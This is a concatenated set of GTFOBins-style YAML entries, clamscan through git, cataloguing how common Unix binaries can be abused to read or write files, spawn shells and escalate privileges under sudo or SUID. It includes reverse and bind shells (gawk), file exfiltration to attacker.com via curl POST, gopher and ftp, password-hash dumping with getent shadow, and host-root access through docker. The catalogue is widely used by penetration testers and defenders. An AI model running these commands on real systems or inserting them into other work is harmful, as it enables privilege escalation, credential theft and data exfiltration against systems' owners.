================================================ FILE: _gtfobins/clamscan ================================================ --- functions: file-read: - binary: false code: |- touch x.yara clamscan --no-summary -d x.yara -f /path/to/input-file 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p' comment: |- Each line of the file is interpreted as a path and the content is leaked via error messages. The output can optionally be cleaned using `sed`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/clisp ================================================ --- functions: shell: - code: |- clisp -x '(ext:run-shell-command "/bin/sh")(ext:exit)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/cmake ================================================ --- functions: file-read: - code: |- cmake -E cat /path/to/input-file contexts: sudo: unprivileged: shell: - code: |- echo 'execute_process(COMMAND /bin/sh)' >/path/to/CMakeLists.txt cmake /path/to/ contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/cmp ================================================ --- functions: file-read: - binary: false code: |- cmp /path/to/input-file /dev/zero -b -l comment: |- Dump the bytes of the input file that are different from the NUL byte in a tabular format. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/cobc ================================================ --- functions: shell: - code: |- echo 'CALL "SYSTEM" USING "/bin/sh".' >/path/to/temp-file cobc -xFj --frelax-syntax-checks /path/to/temp-file comment: |- The `/path/to/temp-file` sill be overwritten after the execution. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/code ================================================ --- functions: download: - code: |- code tunnel --name xxxxxx comment: |- This requires a valid GitHub account. Run the command locally, then on the attacker box navigate to , using the provided code to authorize the tunnel. contexts: sudo: unprivileged: sender: comment: |- Navigate to where a remote VS Code instance can be used to upload files to the victim box. From the menu, select "File" -> "Open Folder...", right-click on the explorer pane, then select "Upload..." to pick a file to send. Alternatively it's possible to just create and edit files. reverse-shell: - code: |- code tunnel --name xxxxxx comment: |- This requires a valid GitHub account. Run the command locally, then on the attacker box navigate to , using the provided code to authorize the tunnel. contexts: sudo: unprivileged: listener: comment: |- Navigate to where a remote VS Code instance can be used to spawn a system shell on the victim box. From the menu, select "View" -> "Terminal". tty: true upload: - code: |- code tunnel --name xxxxxx comment: |- This requires a valid GitHub account. Run the command locally, then on the attacker box navigate to , using the provided code to authorize the tunnel. contexts: sudo: unprivileged: receiver: comment: |- Navigate to where a remote VS Code instance can be used to download files from the victim box. From the menu, select "File" -> "Open Folder...", right-click on the explorer pane, then select Download..." to download a file. Alternatively it's possible to just display files. ... ================================================ FILE: _gtfobins/codex ================================================ --- functions: shell: - code: |- codex sandbox linux /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/column ================================================ --- functions: file-read: - binary: false code: |- column /path/to/input-file comment: |- This program expects textual data. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/comm ================================================ --- functions: file-read: - binary: false code: |- comm /path/to/input-file /dev/null comment: |- A newline is appended to the file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/composer ================================================ --- functions: shell: - code: |- echo '{"scripts":{"x":"/bin/sh"}}' >composer.json composer run-script x contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/cowsay ================================================ --- functions: inherit: - code: |- cowsay -f /path/to/script.pl x contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/cowthink ================================================ --- functions: inherit: - code: |- cowthink -f /path/to/script.pl x contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/cp ================================================ --- functions: file-read: - code: |- cp /path/to/input-file /dev/stdout contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | cp /dev/stdin /path/to/output-file contexts: sudo: suid: unprivileged: privilege-escalation: - code: |- cp /path/to/input-file /path/to/output-file comment: |- This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.) contexts: sudo: suid: - code: |- cp --attributes-only --preserve=all /path/to/input-file /path/to/output-file comment: |- This can copy SUID permissions from any SUID binary (e.g., `/path/to/input-file`) to another. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/cpan ================================================ --- functions: inherit: - code: |- cpan ! ... comment: |- Perl code can be executed with the `!` command. contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/cpio ================================================ --- functions: file-read: - binary: false code: |- echo /path/to/input-file | cpio -o comment: |- The content of the file is printed to standard output, between the `cpio` archive format header and footer. contexts: sudo: suid: unprivileged: - code: |- echo /path/to/input-file | cpio -dp . cat path/to/input-file comment: |- The whole directory structure is copied to `.`, hence this is also a file write. contexts: sudo: code: |- echo /path/to/input-file | cpio -R $UID -dp . cat path/to/input-file suid: code: |- echo /path/to/input-file | cpio -R $UID -dp . cat path/to/input-file unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -udp . comment: |- The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`. contexts: sudo: code: |- echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -R 0:0 -udp . suid: code: |- echo DATA >/path/to/temp-file echo /path/to/temp-file | cpio -R 0:0 -udp . unprivileged: shell: - code: |- echo '/bin/sh /dev/tty' >localhost cpio -o --rsh-command /bin/sh -F localhost: contexts: sudo: ... ================================================ FILE: _gtfobins/cpulimit ================================================ --- functions: shell: - code: |- cpulimit -l 100 -f /bin/sh contexts: sudo: suid: code: |- cpulimit -l 100 -f /bin/sh -p unprivileged: ... ================================================ FILE: _gtfobins/crash ================================================ --- functions: command: - code: |- CRASHPAGER=/path/to/command crash -h contexts: sudo: unprivileged: inherit: - code: |- crash -h contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/crontab ================================================ --- functions: command: - code: |- crontab -e comment: |- This spaws the default editor to edit the crontab file, commands can be scheduled to run using the [cron syntax](https://en.wikipedia.org/wiki/Cron). contexts: sudo: unprivileged: inherit: - code: |- crontab -e contexts: sudo: unprivileged: from: vi ... ================================================ FILE: _gtfobins/csh ================================================ --- functions: file-write: - code: |- csh -c 'echo DATA >/path/to/output-file' contexts: sudo: suid: code: |- csh -c 'echo DATA >/path/to/output-file' -b unprivileged: shell: - code: |- csh contexts: sudo: suid: code: |- csh -b unprivileged: ... ================================================ FILE: _gtfobins/csplit ================================================ --- functions: file-read: - code: |- csplit /path/to/input-file 1 cat xx01 contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file csplit -z -b '%doutput-file' /path/to/temp-file 1 comment: |- Writes the data to `xx0output-file` in the current working directory. If needed, a different prefix can be specified with `-f` (instead of `xx`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/csvtool ================================================ --- functions: file-read: - binary: false code: |- csvtool trim t /path/to/input-file comment: |- The file is actually parsed and manipulated as CSV. contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- echo DATA >/path/to/temp-file csvtool trim t /path/to/temp-file -o /path/to/output-file comment: |- The file is actually parsed and manipulated as CSV. contexts: sudo: suid: unprivileged: shell: - code: |- csvtool call '/bin/sh;false' /etc/hosts contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/ctr ================================================ --- functions: shell: - code: |- ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x comment: |- An image must be already present, for example: ``` ctr images pull docker.io/library/alpine:latest ``` contexts: sudo: suid: ... ================================================ FILE: _gtfobins/cupsfilter ================================================ --- functions: file-read: - code: |- cupsfilter -i application/octet-stream -m application/octet-stream /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/curl ================================================ --- functions: download: - code: |- curl http://attacker.com/path/to/input-file -o /path/to/output-file contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- curl file:///path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file curl file:///path/to/temp-file -o /path/to/output-file contexts: sudo: suid: unprivileged: library-load: - code: |- curl --engine /path/to/lib.so x contexts: sudo: suid: unprivileged: upload: - code: |- curl -X POST --data-binary @/path/to/input-file http://attacker.com contexts: sudo: suid: unprivileged: receiver: http-server - code: |- curl -X POST --data-binary DATA http://attacker.com contexts: sudo: suid: unprivileged: receiver: http-server - code: |- curl gopher://attacker.com:12345/_DATA comment: |- Data will be `\r\n` terminated. contexts: sudo: suid: unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/cut ================================================ --- functions: file-read: - binary: false code: |- cut -d '' -f1 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dash ================================================ --- functions: file-write: - code: |- dash -c 'echo DATA >/path/to/output-file' contexts: sudo: suid: unprivileged: shell: - code: |- dash contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/date ================================================ --- functions: file-read: - binary: false code: |- date -f /path/to/input-file comment: |- Each line is corrupted by a prefix string and wrapped inside quotes. contexts: sudo: suid: unprivileged: version: |- GNU ... ================================================ FILE: _gtfobins/dc ================================================ --- functions: shell: - code: |- dc -e '!/bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/dd ================================================ --- functions: file-read: - code: |- dd if=/path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA | dd of=/path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/debugfs ================================================ --- functions: shell: - code: |- debugfs !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/dhclient ================================================ --- functions: shell: - code: |- dhclient -sf /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/dialog ================================================ --- functions: file-read: - code: |- dialog --textbox /path/to/input-file 0 0 comment: |- The file is shown in an interactive TUI dialog. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/diff ================================================ --- functions: file-read: - binary: false code: |- diff --line-format=%L /dev/null /path/to/input-file contexts: sudo: suid: unprivileged: - code: |- diff --recursive /path/to/empty-dir /path/to/input-dir/ comment: |- This lists the content of a directory. `/path/to/empty-dir` can be any directory, but for convenience it is better to use an empty directory to avoid noise output. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dig ================================================ --- functions: file-read: - code: |- dig -f /path/to/input-file comment: |- Each input line is treated as a lookup query for the `dig` command and the output is corrupted with the result or errors of the operation. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/distcc ================================================ --- functions: shell: - code: |- distcc /bin/sh contexts: sudo: suid: code: |- distcc /bin/sh -p unprivileged: ... ================================================ FILE: _gtfobins/dmesg ================================================ --- functions: file-read: - binary: false code: |- dmesg -rF /path/to/input-file contexts: sudo: suid: unprivileged: inherit: - code: |- dmesg -H contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/dmidecode ================================================ --- functions: file-write: - binary: false code: |- dmidecode --no-sysfs -d x.dmi --dump-bin /path/to/output-file comment: |- It can be used to write files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode. Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target. - `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes. - `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option. ``` make dmiwrite echo DATA >/path/to/temp-file ./dmiwrite /path/to/temp-file x.dmi ``` contexts: unprivileged: ... ================================================ FILE: _gtfobins/dmsetup ================================================ --- functions: shell: - code: |- dmsetup create base <x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ``` The `--disablerepo=*` option is used for targets without Internet connectivity, can be omitted otherwise. contexts: sudo: ... ================================================ FILE: _gtfobins/dnsmasq ================================================ --- functions: command: - code: |- dnsmasq --conf-script='/path/to/command 1>&2' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/doas ================================================ --- functions: shell: - code: |- doas -u root /bin/sh comment: |- The user must be allowed to use `doas`. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/docker ================================================ --- comment: |- This requires the user to be privileged enough to run `docker`, e.g., being in the `docker` group or being `root`. functions: file-read: - code: |- docker cp /path/to/input-file $CONTAINER_ID:input-file docker cp $CONTAINER_ID:input-file /path/to/temp-file cat /path/to/temp-file comment: |- Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host. contexts: sudo: suid: unprivileged: file-write: - code: |- echo DATA >/path/to/temp-file docker cp /path/to/temp-file $CONTAINER_ID:temp-file docker cp $CONTAINER_ID /path/to/output-file comment: |- Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host. contexts: sudo: suid: unprivileged: shell: - code: |- docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh contexts: sudo: suid: unprivileged: - code: |- docker run --rm -it --privileged -u root alpine mount /dev/sda1 /mnt/ ls -la /mnt/ chroot /mnt /bin/bash comment: |- This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dos2unix ================================================ --- functions: file-read: - code: |- dos2unix -f -O /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- dos2unix -f -n /path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dosbox ================================================ --- comment: |- Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used. functions: file-read: - code: |- dosbox -c 'mount c /' -c 'type c:\path\to\input' comment: |- The file content will be displayed in the DOSBox graphical window. contexts: sudo: suid: unprivileged: - code: |- dosbox -c 'mount c /' -c 'copy c:\path\to\input c:\path\to\output' -c exit cat /path/to/OUTPUT comment: |- The file is copied to a readable location. contexts: sudo: suid: unprivileged: file-write: - code: |- dosbox -c 'mount c /' -c "echo DATA >c:\path\to\output" -c exit comment: |- Note that `echo` terminates the string with a DOS-style line terminator (`\r\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/dotnet ================================================ --- functions: file-read: - code: |- dotnet fsi System.IO.File.ReadAllText("/path/to/input-file");; contexts: sudo: unprivileged: shell: - code: |- dotnet fsi System.Diagnostics.Process.Start("/bin/sh").WaitForExit();; contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/dpkg ================================================ --- functions: inherit: - code: |- dpkg -l contexts: sudo: suid: unprivileged: from: less shell: - code: |- dpkg -i x_1.0_all.deb comment: |- Generate the Debian package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo 'exec /bin/sh' >x.sh fpm -n x -s dir -t deb -a all --before-install x.sh . ``` contexts: sudo: ... ================================================ FILE: _gtfobins/dstat ================================================ --- functions: inherit: - code: |- dstat --xxx comment: |- `dstat` allows you to run arbitrary Python scripts loaded as "external plugins" if they are located in one of the directories, stated in the `dstat` man page under "FILES": - `~/.dstat/` - `(path of binary)/plugins/` - `/usr/share/dstat/` - `/usr/local/share/dstat/` Pick the one that you can write into. The plugin named `xxx` file name must be defined in the `dstat_xxx.py` file. contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/dvips ================================================ --- functions: shell: - code: |- dvips -R0 texput.dvi comment: |- The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ``` contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/easy_install ================================================ --- functions: inherit: - code: |- echo '...' >setup.py easy_install . comment: |- This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh /dev/tty 2>/dev/tty")' >setup.py ``` contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/easyrsa ================================================ --- functions: shell: - code: |- echo 'set_var X "$(/bin/sh 1>&0)"' >/path/to/temp-file easyrsa --vars=/path/to/temp-file comment: |- This command might not be in the `PATH`, it could be found in, `/usr/share/easy-rsa/easyrsa`. The shell is spawn twice. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/eb ================================================ --- comment: |- For this to work the target must be connected to an AWS instance via EB CLI. functions: inherit: - code: |- eb logs contexts: sudo: unprivileged: from: journalctl ... ================================================ FILE: _gtfobins/ed ================================================ --- functions: file-read: - binary: false code: |- ed /path/to/input-file ,p q contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- ed /path/to/output-file a DATA . w q contexts: sudo: suid: unprivileged: shell: - code: |- ed !/bin/sh q contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/efax ================================================ --- functions: file-read: - binary: false code: |- efax -d /path/to/input-file comment: |- The content is actually parsed by the command. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/egrep ================================================ --- functions: file-read: - code: |- grep '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/elvish ================================================ --- functions: file-read: - code: |- elvish -c 'print (slurp /path/to/output-file' contexts: sudo: suid: unprivileged: shell: - code: |- elvish contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/emacs ================================================ --- comment: |- All the functions operate in the Emacs terminal interface. functions: file-read: - binary: false code: |- emacs /path/to/input-file contexts: sudo: unprivileged: file-write: - binary: false code: |- emacs /path/to/output-file DATA C-x C-s contexts: sudo: unprivileged: shell: - code: |- emacs -Q -nw --eval '(term "/bin/sh")' contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/enscript ================================================ --- functions: shell: - code: |- enscript /dev/null -qo /dev/null -I '/bin/sh >&2' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/env ================================================ --- functions: shell: - code: |- env /bin/sh contexts: sudo: suid: code: |- env /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/eqn ================================================ --- functions: file-read: - binary: false code: |- eqn /path/to/input-file comment: |- The content is actually parsed and corrupted by the command. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/espeak ================================================ --- functions: file-read: - binary: false code: |- espeak -qXf /path/to/input-file comment: |- The file content appears in the middle of other textual information as phonemes. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ex ================================================ --- functions: inherit: - code: |- ex contexts: sudo: suid: unprivileged: from: ed shell: - code: |- ex -c ':!/bin/sh' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/exiftool ================================================ --- functions: file-read: - code: |- exiftool -filename=/path/to/output-file /path/to/input-file cat /path/to/output-file comment: |- If the permissions allow it, files are moved (instead of copied) to the destination. contexts: sudo: unprivileged: file-write: - code: |- exiftool -filename=/path/to/output-file /path/to/input-file comment: |- If the permissions allow it, files are moved (instead of copied) to the destination. contexts: sudo: unprivileged: - binary: false code: |- exiftool "-description<=/path/to/input-file --filename /path/to/output-file comment: |- The output file must exists, either empty or be a supported image file. The content is written amidst other content. contexts: sudo: unprivileged: - binary: false code: |- exiftool "-description=DATA --filename /path/to/output-file comment: |- The output file must exists, either empty or be a supported image file. The content is written amidst other content. contexts: sudo: unprivileged: - binary: false code: |- exiftool -description -W /path/to/output-file --filename /path/to/input-file comment: |- Writes the metadata tags of the input file in textual format to the output. contexts: sudo: unprivileged: inherit: - code: |- exiftool -if '...' /etc/passwd comment: |- This allows to run Perl code (`...`). contexts: sudo: unprivileged: from: perl ... ================================================ FILE: _gtfobins/expand ================================================ --- functions: file-read: - binary: false code: |- expand /path/to/input-file comment: |- The read file content is corrupted by replacing tabs with spaces. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/expect ================================================ --- functions: file-read: - code: |- expect /path/to/input-file comment: |- The file is read and parsed as an `expect` command file, the content of the first invalid line is returned in an error message. contexts: sudo: suid: unprivileged: shell: - code: |- expect -c 'spawn /bin/sh;interact' contexts: sudo: suid: code: |- expect -c 'spawn /bin/sh -p;interact' shell: false unprivileged: ... ================================================ FILE: _gtfobins/facter ================================================ --- functions: inherit: - code: |- FACTERLIB=/path/to/dir/ facter comment: |- The first `.rb` file in the `/path/to/dir/` directory will be executed. contexts: sudo: unprivileged: from: ruby - code: |- facter --custom-dir=/path/to/dir/ x comment: |- The first `.rb` file in the `/path/to/dir/` directory will be executed. contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/fail2ban-client ================================================ --- functions: command: - blind: true code: |- fail2ban-client add x fail2ban-client set x addaction x fail2ban-client set x action x actionban /path/to/command fail2ban-client start x fail2ban-client set x banip 999.999.999.999 fail2ban-client set x unbanip 999.999.999.999 fail2ban-client stop x comment: |- The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns. contexts: sudo: - blind: true code: |- cat >/path/to/temp-dir/fail2ban.conf </path/to/temp-dir/jail.local </path/to/temp-dir/action.d/x.conf </path/to/temp-dir/filter.d/x.conf </path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsonc contexts: sudo: suid: shell: true unprivileged: file-read: - binary: false code: |- fastfetch --file /path/to/input-file comment: |- The file content is used as the logo while some other information is displayed on its right. contexts: sudo: suid: unprivileged: shell: - code: |- echo '{"modules":[{"type":"command","key":"x","text":"exec /bin/sh 1>&0 2>&0"}]}' >/path/to/temp-file.jsonc fastfetch -c /path/to/temp-file.jsonc contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/ffmpeg ================================================ --- functions: library-load: - code: |- ffmpeg -f lavfi -i anullsrc -af ladspa=file=/path/to/lib.so /path/to/temp-file.wav reset^J contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/fgrep ================================================ --- functions: file-read: - code: |- grep '' /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/file ================================================ --- functions: file-read: - binary: false code: |- file -f /path/to/input-file comment: |- Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation. contexts: sudo: suid: unprivileged: - binary: false code: |- file -m /path/to/input-file comment: |- Each line is corrupted by a prefix string and wrapped inside quotes. If a line in the target file begins with a `#`, it will not be printed as these lines are parsed as comments. It can also be provided with a directory and will read each file in the directory. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/find ================================================ --- functions: file-read: - code: |- find /path/to/input-file -exec cat {} \; comment: |- This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`. contexts: sudo: suid: unprivileged: file-write: - code: |- find / -fprintf /path/to/output-file DATA -quit comment: |- `DATA` is a format string, it supports some escape sequences. contexts: sudo: suid: unprivileged: shell: - code: |- find . -exec /bin/sh \; -quit contexts: sudo: suid: code: |- find . -exec /bin/sh -p \; -quit shell: false unprivileged: ... ================================================ FILE: _gtfobins/finger ================================================ --- functions: download: - code: |- finger x@attacker.com comment: |- The command hangs waiting for the remote peer to close the socket. contexts: sudo: suid: unprivileged: sender: code: |- nc -l -p 79 /path/to/output-file comment: |- A TCP server can be used on the attacker box to receive the data. ... ================================================ FILE: _gtfobins/firejail ================================================ --- functions: shell: - code: |- firejail /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/fish ================================================ --- functions: shell: - code: |- fish contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/flock ================================================ --- functions: shell: - code: |- flock -u / /bin/sh contexts: sudo: suid: code: |- flock -u / /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/fmt ================================================ --- functions: file-read: - binary: false code: |- fmt -pNON_EXISTING_PREFIX /path/to/input-file contexts: sudo: suid: unprivileged: version: |- GNU - binary: false code: |- fmt -999 /path/to/input-file comment: |- This corrupts the output by wrapping very long lines at the given width (`999`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/fold ================================================ --- functions: file-read: - binary: false code: |- fold -w999 /path/to/input-file comment: |- This corrupts the output by wrapping very long lines at the given width (`999`). contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/forge ================================================ --- functions: shell: - code: |- echo '#!/bin/sh' >/path/to/temp-file echo -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-file chmod +x /path/to/temp-file forge build --use /path/to/temp-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/fping ================================================ --- functions: file-read: - binary: false code: |- fping -f /path/to/input-file comment: |- Each line is treated as an hostname and it's leaked as an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ftp ================================================ --- functions: download: - code: |- ftp -a attacker.com get /path/to/input-file output-file comment: |- Instead of `-a`, credentials can be supplied via the `user:password@host` connection string. contexts: sudo: suid: unprivileged: sender: ftp-server shell: - code: |- ftp !/bin/sh contexts: sudo: suid: shell: true unprivileged: upload: - code: |- ftp -a attacker.com put /path/to/input-file output-file comment: |- Instead of `-a`, credentials can be supplied via the `user:password@host` connection string. contexts: sudo: suid: unprivileged: receiver: ftp-server ... ================================================ FILE: _gtfobins/fzf ================================================ --- functions: command: - code: |- fzf --listen=12345 comment: |- Commands can be issued via POST requests, for example: ``` curl http://localhost:12345 -d 'execute(/path/to/command)' ``` contexts: sudo: suid: shell: true unprivileged: shell: - code: |- fzf --bind 'enter:execute(/bin/sh)' comment: |- Press `Enter` to receive the shell. contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/g++ ================================================ --- alias: gcc ... ================================================ FILE: _gtfobins/gawk ================================================ --- functions: bind-shell: - code: |- gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' connector: tcp-client contexts: sudo: suid: shell: true unprivileged: file-read: - code: |- gawk '//' /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- gawk 'BEGIN { print "DATA" > "/path/to/output-file" }' contexts: sudo: suid: unprivileged: reverse-shell: - code: |- gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' contexts: sudo: suid: shell: true unprivileged: listener: tcp-server shell: - code: |- gawk 'BEGIN {system("/bin/sh")}' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/gcc ================================================ --- functions: file-read: - binary: false code: |- gcc -x c -E /path/to/input-file contexts: sudo: unprivileged: - binary: false code: |- gcc @/path/to/input-file comment: |- The file is read and parsed as a list of files (one per line), the content is displayed as error messages. contexts: sudo: unprivileged: file-write: - code: |- gcc -x c /dev/null -o /path/to/input-file comment: |- This actually deletes the file. contexts: sudo: unprivileged: shell: - code: |- gcc -wrapper /bin/sh,-s x comment: |- In some older versions, the `x` argument must instead reference any existing file. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/gcloud ================================================ --- functions: inherit: - code: |- gcloud help contexts: sudo: suid: unprivileged: from: less ... ================================================ FILE: _gtfobins/gcore ================================================ --- functions: file-read: - code: |- gcore $PID comment: |- It can be used to generate core dumps of running processes (`$PID`). Such files often contains sensitive information such as open files content, cryptographic keys, passwords, etc. This command produces a binary file named `core.$PID`, that is then often filtered with `strings` to narrow down relevant information. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/gdb ================================================ --- functions: file-write: - code: |- gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit contexts: sudo: suid: unprivileged: inherit: - code: |- gdb -nx -ex 'python ...' -ex quit comment: |- This allows to run Python code (`...`). contexts: sudo: suid: unprivileged: from: python shell: - code: |- gdb -nx -ex '!/bin/sh' -ex quit contexts: capabilities: code: |- gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit list: - CAP_SETUID sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/gem ================================================ --- functions: inherit: - code: |- gem open debug comment: |- This requires the name of an installed gem to be provided, e.g., `debug` is usually installed. contexts: sudo: unprivileged: from: vi - code: |- gem build /path/to/script.rb contexts: sudo: unprivileged: from: ruby - code: |- gem install --file /path/to/script.rb contexts: sudo: unprivileged: from: ruby shell: - code: |- gem open -e '/bin/sh -s' debug comment: |- This requires the name of an installed gem to be provided, e.g., `debug` is usually installed. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/genie ================================================ --- functions: shell: - code: |- genie -c '/bin/sh' contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/genisoimage ================================================ --- functions: file-read: - code: |- genisoimage -q -o - /path/to/input-file comment: |- The output is placed inside the ISO9660 file system binary format, it can be mounted or extracted with tools like `7z`. contexts: sudo: suid: unprivileged: - code: |- genisoimage -sort /path/to/input-file comment: |- The file is parsed, and some of its content is disclosed by the error messages. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/getent ================================================ --- functions: privilege-escalation: - code: |- getent shadow comment: |- This allows to dump password hashes from the `/etc/shadow` file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/ghc ================================================ --- functions: shell: - code: |- ghc -e 'System.Process.callCommand "/bin/sh"' contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ghci ================================================ --- functions: shell: - code: |- ghci System.Process.callCommand "/bin/sh" contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/gimp ================================================ --- functions: inherit: - code: |- gimp -idf --batch-interpreter=python-fu-eval -b '...' comment: |- This allows to run Python code (`...`). It hangs afterwards and can be terminated by pressing `Ctrl-C`. contexts: sudo: unprivileged: from: python ... ================================================ FILE: _gtfobins/ginsh ================================================ --- functions: shell: - code: |- ginsh !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/git ================================================ --- functions: file-read: - code: |- git diff /dev/null /path/to/input-file comment: |- 